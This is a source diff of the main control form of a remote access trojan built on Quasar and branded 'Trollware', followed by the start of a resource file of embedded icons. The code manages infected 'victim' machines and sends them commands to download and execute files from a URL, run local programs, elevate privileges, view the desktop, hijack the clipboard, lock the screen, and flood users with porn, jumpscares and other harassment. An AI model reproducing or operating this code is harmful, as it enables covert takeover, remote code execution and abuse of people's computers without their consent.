Quasar.Common.Messages; +using Quasar.Server.Extensions; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net.Sockets; +using System.Reflection; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmMain : Form + { + public QuasarServer ListenServer { get; set; } + + private const int STATUS_ID = 4; + private const int USERSTATUS_ID = 5; + + private bool _titleUpdateRunning; + private bool _processingClientConnections; + private readonly ClientStatusHandler _clientStatusHandler; + private readonly Queue> _clientConnections = new Queue>(); + private readonly object _processingClientConnectionsLock = new object(); + private readonly object _lockClients = new object(); // lock for clients-listview + + public FrmMain() + { + _clientStatusHandler = new ClientStatusHandler(); + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the client status message handler for client communication. + /// + private void RegisterMessageHandler() + { + MessageHandler.Register(_clientStatusHandler); + _clientStatusHandler.StatusUpdated += SetStatusByClient; + _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient; + } + + /// + /// Unregisters the client status message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_clientStatusHandler); + _clientStatusHandler.StatusUpdated -= SetStatusByClient; + _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient; + } + + public void UpdateWindowTitle() + { + if (_titleUpdateRunning) return; + _titleUpdateRunning = true; + try + { + this.Invoke((MethodInvoker) delegate + { + int selected = lstClients.SelectedItems.Count; + this.Text = (selected > 0) + ? string.Format("Trollware - Connected: {0} [Selected: {1}]", ListenServer.ConnectedClients.Length, + selected) + : string.Format("Trollware - Connected: {0}", ListenServer.ConnectedClients.Length); + }); + } + catch (Exception) + { + } + _titleUpdateRunning = false; + } + + private void InitializeServer() + { + X509Certificate2 serverCertificate; +#if DEBUG + serverCertificate = new DummyCertificate(); +#else + if (!File.Exists(Settings.CertificatePath)) + { + using (var certificateSelection = new FrmCertificate()) + { + while (certificateSelection.ShowDialog() != DialogResult.OK) + { } + } + } + serverCertificate = new X509Certificate2(Settings.CertificatePath); +#endif + /*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); + + var cert2 = new X509Certificate2(Convert.FromBase64String(str)); + var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key; + + var result = serverCsp.ExportParameters(false); + var result2 = connectedCsp.ExportParameters(false); + + var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) && + SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/ + + ListenServer = new QuasarServer(serverCertificate); + ListenServer.ServerState += ServerState; + ListenServer.ClientConnected += ClientConnected; + ListenServer.ClientDisconnected += ClientDisconnected; + } + + private void StartConnectionListener() + { + try + { + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + ListenServer.Disconnect(); + } + catch (Exception) + { + ListenServer.Disconnect(); + } + } + + private void AutostartListening() + { + if (Settings.AutoListen) + { + StartConnectionListener(); + } + + if (Settings.EnableNoIPUpdater) + { + NoIpUpdater.Start(); + } + } + + private void FrmMain_Load(object sender, EventArgs e) + { + InitializeServer(); + AutostartListening(); + } + + private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) + { + ListenServer.Disconnect(); + UnregisterMessageHandler(); + notifyIcon.Visible = false; + notifyIcon.Dispose(); + } + + private void lstClients_SelectedIndexChanged(object sender, EventArgs e) + { + UpdateWindowTitle(); + } + + private void ServerState(Networking.Server server, bool listening, ushort port) + { + try + { + this.Invoke((MethodInvoker) delegate + { + if (!listening) + lstClients.Items.Clear(); + listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening."; + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + private void ClientConnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, true)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + } + + private void ClientDisconnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, false)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + } + + private void ProcessClientConnections(object state) + { + while (true) + { + KeyValuePair client; + lock (_clientConnections) + { + if (!ListenServer.Listening) + { + _clientConnections.Clear(); + } + + if (_clientConnections.Count == 0) + { + lock (_processingClientConnectionsLock) + { + _processingClientConnections = false; + } + return; + } + + client = _clientConnections.Dequeue(); + } + + if (client.Key != null) + { + switch (client.Value) + { + case true: + AddClientToListview(client.Key); + if (Settings.ShowPopup) + ShowPopup(client.Key); + break; + case false: + RemoveClientFromListview(client.Key); + break; + } + } + } + } + + /// + /// Sets the tooltip text of the listview item of a client. + /// + /// The client on which the change is performed. + /// The new tooltip text. + public void SetToolTipText(Client client, string text) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListViewItemByClient(client); + if (item != null) + item.ToolTipText = text; + }); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Adds a connected client to the Listview. + /// + /// The client to add. + private void AddClientToListview(Client client) + { + if (client == null) return; + + try + { + // this " " leaves some space between the flag-icon and first item + ListViewItem lvi = new ListViewItem(new string[] + { + " " + client.EndPoint.Address, client.Value.Tag, + client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode, + client.Value.OperatingSystem, client.Value.AccountType + }) { Tag = client, ImageIndex = client.Value.ImageIndex }; + + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + lstClients.Items.Add(lvi); + } + }); + + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Removes a connected client from the Listview. + /// + /// The client to remove. + private void RemoveClientFromListview(Client client) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + foreach (ListViewItem lvi in lstClients.Items.Cast() + .Where(lvi => lvi != null && client.Equals(lvi.Tag))) + { + lvi.Remove(); + break; + } + } + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Sets the status of a client. + /// + /// The message handler which raised the event. + /// The client to update the status of. + /// The new status. + private void SetStatusByClient(object sender, Client client, string text) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[STATUS_ID].Text = text; + } + + /// + /// Sets the user status of a client. + /// + /// The message handler which raised the event. + /// The client to update the user status of. + /// The new user status. + private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); + + } + + /// + /// Gets the Listview item which belongs to the client. + /// + /// The client to get the Listview item of. + /// Listview item of the client. + private ListViewItem GetListViewItemByClient(Client client) + { + if (client == null) return null; + + ListViewItem itemClient = null; + + lstClients.Invoke((MethodInvoker) delegate + { + itemClient = lstClients.Items.Cast() + .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag)); + }); + + return itemClient; + } + + /// + /// Gets all selected clients. + /// + /// An array of all selected Clients. + private Client[] GetSelectedClients() + { + List clients = new List(); + + lstClients.Invoke((MethodInvoker)delegate + { + lock (_lockClients) + { + if (lstClients.SelectedItems.Count == 0) return; + clients.AddRange( + lstClients.SelectedItems.Cast() + .Where(lvi => lvi != null) + .Select(lvi => lvi.Tag as Client)); + } + }); + + return clients.ToArray(); + } + + /// + /// Gets all connected clients. + /// + /// An array of all connected Clients. + private Client[] GetConnectedClients() + { + return ListenServer.ConnectedClients; + } + + /// + /// Displays a popup with information about a client. + /// + /// The client. + private void ShowPopup(Client c) + { + try + { + this.Invoke((MethodInvoker)delegate + { + if (c == null || c.Value == null) return; + + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), + string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), + c.Value.OperatingSystem), ToolTipIcon.Info); + }); + } + catch (InvalidOperationException) + { + } + } + + #region "ContextMenuStrip" + + #region "Client Management" + + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoAskElevate()); + } + } + + private void updateToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoClientReconnect()); + } + + private void reconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientReconnect()); + } + } + + private void disconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientDisconnect()); + } + } + + private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count == 0) return; + if ( + MessageBox.Show( + string.Format( + "Are you sure you want to uninstall the client on {0} computer\\s?", + lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, + MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientUninstall()); + } + } + } + + #endregion + + private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c); + frmRd.Show(); + frmRd.Focus(); + } + } + + #region "Troll" + + private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoVisitWebsite + { + Url = frm.Url, + Hidden = frm.Hidden + }); + } + } + } + } + } + + private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShowMessageBox + { + Caption = frm.MsgBoxCaption, + Text = frm.MsgBoxText, + Button = frm.MsgBoxButton, + Icon = frm.MsgBoxIcon + }); + } + } + } + } + } + + private void startPornSpamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartPornSpam()); + } + + private void stopPornSpamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopPornSpam()); + } + + private void startClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e) + { + string text = Microsoft.VisualBasic.Interaction.InputBox("Enter replacement text for clipboard:", "Clipboard Hijack", "lol got you"); + if (string.IsNullOrWhiteSpace(text)) return; + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartClipboardHijack { ReplacementText = text }); + } + + private void stopClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopClipboardHijack()); + } + + private void startCursorChaosToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartCursorChaos()); + } + + private void stopCursorChaosToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopCursorChaos()); + } + + private static byte[] ReadEmbeddedResource(string name) + { + var asm = Assembly.GetExecutingAssembly(); + using (var stream = asm.GetManifestResourceStream(name)) + { + var buf = new byte[stream.Length]; + stream.Read(buf, 0, buf.Length); + return buf; + } + } + + private static byte[] GzipCompress(byte[] data) + { + using (var ms = new MemoryStream()) + { + using (var gz = new GZipStream(ms, CompressionLevel.Fastest)) + gz.Write(data, 0, data.Length); + return ms.ToArray(); + } + } + + private void ghostTypingToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoGhostTyping()); + } + + private void jumpscareToolStripMenuItem_Click(object sender, EventArgs e) + { + var msg = new DoJumpscare + { + WavData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scream.wav")), + GifData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scary.gif")), + }; + + foreach (Client c in GetSelectedClients()) + c.Send(msg); + } + + private void textToSpeechToolStripMenuItem_Click(object sender, EventArgs e) + { + string text = Microsoft.VisualBasic.Interaction.InputBox("Enter text to speak:", "Text to Speech", "Your computer has a virus!"); + if (string.IsNullOrWhiteSpace(text)) return; + foreach (Client c in GetSelectedClients()) + c.Send(new DoTextToSpeech { Text = text }); + } + + private void startSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartSchizophrenia()); + } + + private void stopSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopSchizophrenia()); + } + + private void startColorInvertToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartColorInvert()); + } + + private void stopColorInvertToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopColorInvert()); + } + + private void pianoToolStripMenuItem_Click(object sender, EventArgs e) + { + var frm = new FrmPiano(note => { + foreach (Client c in GetSelectedClients()) + c.Send(note); + }); + frm.Show(this); + } + + private void startBeepSpamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartBeepSpam()); + } + + private void stopBeepSpamToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopBeepSpam()); + } + + private void startFartScrollToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartFartScroll()); + } + + private void stopFartScrollToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopFartScroll()); + } + + private void startDrunkModeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartDrunkMode()); + } + + private void stopDrunkModeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopDrunkMode()); + } + + private void startNukeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoNuke()); + } + + private void stopNukeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopNuke()); + } + + private void startEyesToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStartEyes()); + } + + private void stopEyesToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoStopEyes()); + } + + private void lockScreenToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoLockScreen()); + } + + private void cdTrayToolStripMenuItem_Click(object sender, EventArgs e) + { + string input = Microsoft.VisualBasic.Interaction.InputBox("How many times should the CD tray eject? (1–20)", "CD Tray Spam", "5"); + if (!int.TryParse(input, out int count) || count < 1) return; + count = Math.Min(count, 20); + foreach (Client c in GetSelectedClients()) + c.Send(new DoCdTray { Count = count }); + } + + private void mouseSwapToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoMouseSwap { Swap = true }); + } + + private void restoreMouseToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + c.Send(new DoMouseSwap { Swap = false }); + } + + private void setWallpaperToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length == 0) return; + + using (var dlg = new OpenFileDialog()) + { + dlg.Title = "Choose wallpaper image"; + dlg.Filter = "Images|*.jpg;*.jpeg;*.png;*.bmp;*.gif|All files|*.*"; + if (dlg.ShowDialog() != DialogResult.OK) return; + + byte[] data; + try { data = File.ReadAllBytes(dlg.FileName); } + catch (Exception ex) + { + MessageBox.Show("Could not read file:\n" + ex.Message, "Error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + var msg = new DoSetWallpaper { ImageData = data }; + foreach (Client c in clients) + c.Send(msg); + } + } + + #endregion + + private void localFileToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count == 0) return; + string path = Microsoft.VisualBasic.Interaction.InputBox( + "Enter the file path on the victim's machine to execute:", + "Remote Execute - Local File", "C:\\Windows\\System32\\notepad.exe"); + if (string.IsNullOrWhiteSpace(path)) return; + foreach (Client c in GetSelectedClients()) + c.Send(new DoExecute { FilePath = path, IsUrl = false }); + } + + private void webFileToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count == 0) return; + string url = Microsoft.VisualBasic.Interaction.InputBox( + "Enter the URL of the file to download and execute on the victim's machine:", + "Remote Execute - Web File", "https://"); + if (string.IsNullOrWhiteSpace(url) || url == "https://") return; + foreach (Client c in GetSelectedClients()) + c.Send(new DoExecute { FilePath = url, IsUrl = true }); + } + + private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) + { + lstClients.SelectAllItems(); + } + + #endregion + + #region "MenuStrip" + + private void closeToolStripMenuItem_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void settingsToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmSettings(ListenServer)) + { + frm.ShowDialog(); + } + } + + private void builderToolStripMenuItem_Click(object sender, EventArgs e) + { +#if DEBUG + MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information); +#else + using (var frm = new FrmBuilder()) + { + frm.ShowDialog(); + } +#endif + } + + private void aboutToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmAbout()) + { + frm.ShowDialog(); + } + } + + #endregion + + #region "NotifyIcon" + + private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) + { + this.WindowState = (this.WindowState == FormWindowState.Normal) + ? FormWindowState.Minimized + : FormWindowState.Normal; + this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal); + } + + #endregion + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmMain.resx b/Quasar.Server/Forms/FrmMain.resx new file mode 100644 index 0000000..7a6f064 --- /dev/null +++ b/Quasar.Server/Forms/FrmMain.resx @@ -0,0 +1,1272 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 223, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0 + F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f + 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG + mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa + JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R + NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU + djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb + MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz + eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo + fhhC4fVRYtC++xPpS2OZtMAYvTnig8G6hjK5DfyWaZyRTqG4wYTT9RMoqh9H64iXtHeebF8apbnS3TYm + ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs + ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA + AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAILSURBVDhPpY9LaxNRGIa7cO/On+CqFdFmRHQpiCs3 + ohtvIAW1WUiUQkXQLnoBIVAaRUQshVLBFotGBJfWRTW17dhEM5mkteklNMFm7pecubx+mWomQhBLYZ75 + zjnwPu85bQD2RMvD3dDycDcEv9zbTr44c5mtfbzaxBWWf3dyWXjTfoDY/xfJgH0NgZjkbN/3aOnTV2dn + 7VgVbMx219Znu+0/lOZ7rc3UnWLu9ZHzoWA6IvuuBXsjDmNlGMbqKMziFHxHIpcO39UIZWfvVAGP1cRp + LhMKXnKqxxQKJ6AXRqB+68N26iYqc1FI6X5ISw8g8XdRXewhYnSzMsRXnVoomIwwx9yClEmgujCE8ofb + MMufqVX93V6fcngDep44yVmhYOIYC97v2YQJuEYQdE0BdikBa70f5o8eGPnr0IWLcPUsxPFIk2CMq/mu + CVf9BEd6D/ZzCrWtZxR8CHP1HsxCFEbuEvTvZ6GlT8HVeIijzYKnnO0xFWw7iVp5nFofwVqj1pV6axf0 + 7AVomTNQv56AsnAYjvoF4pNmQSJi+Uyi8BjszWFYxT4Kx2CI1yh8jlpPQ+WPQ5k/BHnuIAlSqGcaglz8 + aInJBVlffuHp+efQxMfQhDi07ADUzH2o6V4oSzEofBTK4g3YlRmfMnJDIAy03xKGOiaEwY4KTeufDAZT + ocxIQ7AXWh7+P2j7BY3RGzIVTOkAAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEBSURBVDhPpc9PSsQwFAbwnqOlhVIolEKhUKgZa4xJ + 3SvI3METOILgDUTnIG51HBBP4Mqle926mkWRz7yIHbPwz9PC1+YFvh+vAYB/JZie3p3ZrGwGZuYOODi5 + XZ1fPeHi+vvcP754X9sbHLB/vBzoYr54ZsX2bN8Ce0eLVxq4sb13gIamaVDXNaqqQlmWKIoCeZ4jyzKk + aYokSRDHMaIoQhiGLtQbgXZD0MBCPEBMNtG2LQvxgG5LujIhv/2dNTBbQm4rdF0HIcS4ycfzFeIBakdD + SukhP23yCbiBNj2UUizE28D0PbTWLGQN2IMxxoWDjMDu4eUDDdxQzwH0+nsQvAF9dUdoZIKOGAAAAABJ + RU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKHSURBVDhPfZFbSFNxHMfPKpKeogeJEBIfAkWiXJpN + W9BWSx8yeoigKyXaRWgvIoxp04k5N8wJOgela62BpdVIiphiKGrTqSDUFMvE0iJXm9Nd3eXb/xw9Om89 + fB/O////fH6XQwH4b36YTmlIsBzN+vs1H+vDwiH/NyabSdYA0VmBPcMI2JsQnO8kxxFGMtkieMy+2wDS + iYb9v6oR+KNnq5NrYFLPg6We94F+u5WAaZmGfdP34f9dR9KxJGkVIBJyYELLZSRbCuiWaZjJTBkjCbo6 + sDCugmciG2F/F8bVhzfCrCDk+0w6qFqVMCI55m1nMDd8jIz3CrbipE3hbSSa2R4xAUrhGuHD8+Uqipoz + kadLgXMoFUFnBWyyJJgfpI5Fg0v/+81pzPYWYdHRSqrxCHyWVM/DPQMXZW2XcFGbiNGyZLQr0j7RXLSA + LMdF5myHd1oKsZEP8bN03HmaitzGQyh+fQEvrLUobDkHUc3eCF+1h8MIViqTBGZbsDCWA2d/MgoM6TAN + a/ByqI4Bm61qqDsKof+oxG2jCGmVMcGD5RzOcuU50rIJ7jEhHJZEuEdPIpfMS8MPzWJUvS9Axbt8lLbd + gPztLWi7y3HlyXEckFEBWjC/6Gwny+LB0ZsI79cc+L5X4PKjJDwfUMNoqYa+T4mmXgWR3EVDtxz5xiwk + lFCjcRJqF9NB0N0Hl01IFpYFz5QcFkXK3PmGhEh2bVxYWBMbzlTtDl/TZUDTVYqbBhHiS6iRfRIqhtnB + VKtgyGfvgXdKBt9PHfqVXKdZnVHLLpdNcjnHfl0vRLyUGiTwTvacGmg8IR3RHJ0ZVB+xW1Xcv931mZXR + IBvSsn2/dDtiJdSO1XNQ/wBgH9SZbXHbWQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJZSURBVDhPlZJNbxJRFIb5E/4m48Kf0SYolA/BgFIU + gkktghQELRYWIgKhQVNrmoCENED5GlCGmTtDoUBbl42NiaULFq/3jtYpjYu6eJM595zznHPfuRoAGlmW + QQiBIAjodrvodDpoNpuo1Wool8solUooFArY2dnB1tYWcrkcMpkMbYVGAYiiiNPTHxgfHmM8OcJ4fIQR + 0+gQB1TDgwmGwzEGTIMRTk6+I5FIqACe55XG2+bUtST3h4jFYiqArcymsqT2eRXW9RaCOYLop30EP/Th + 25SwkpHwJC0pNZI0QCQSUQGNRkNZlyXvBPZwd62GB/EOAjkJa+/7eJohcCdFON8SpYaQAQKBgAqoVCoY + XgBosy5Yh/5FE7bYV6ykRTzblOFJSVhO/AYIYh+rq6sqgLnMDGJJNl0XamAp3ILhZRvmVx0svxHwOEnw + 6M8GvZ4Ej8ejAvL5vOIuS15MX4pwMFKAaf0L7r3uwhLrwRoXlJouL8HpdKqA7e1t+rsmSvI6Esg+bDab + CmAP4/j4G0Qige8RSPIAu7sVcG0eLa6LfKEInhfRaHCKCJFhNptVQDqd9tGHwcXjcS4ajXLhcHhEXd7I + ZrNIpVJwu90bdOWR3W7nrFYrZzKZOL1e//Av4Kr8fr+Bulys7tUVxx0Ox5SufP9ftXNBMBi84fP56Hv/ + iEq1Rq9Rx+diBbV6G8nkOxgMhp+X65nmAq/Xe4teB7PZDOfn55hOpzg7O1O+2VkoFMLi4uLNyz1zACaX + y8XRlRWXLRYLjEYjdDodtFotFhYWmlfr54L/FzS/AGH28noQqAdLAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0 + F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f + 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG + mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa + JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R + NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU + djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb + MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz + eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo + 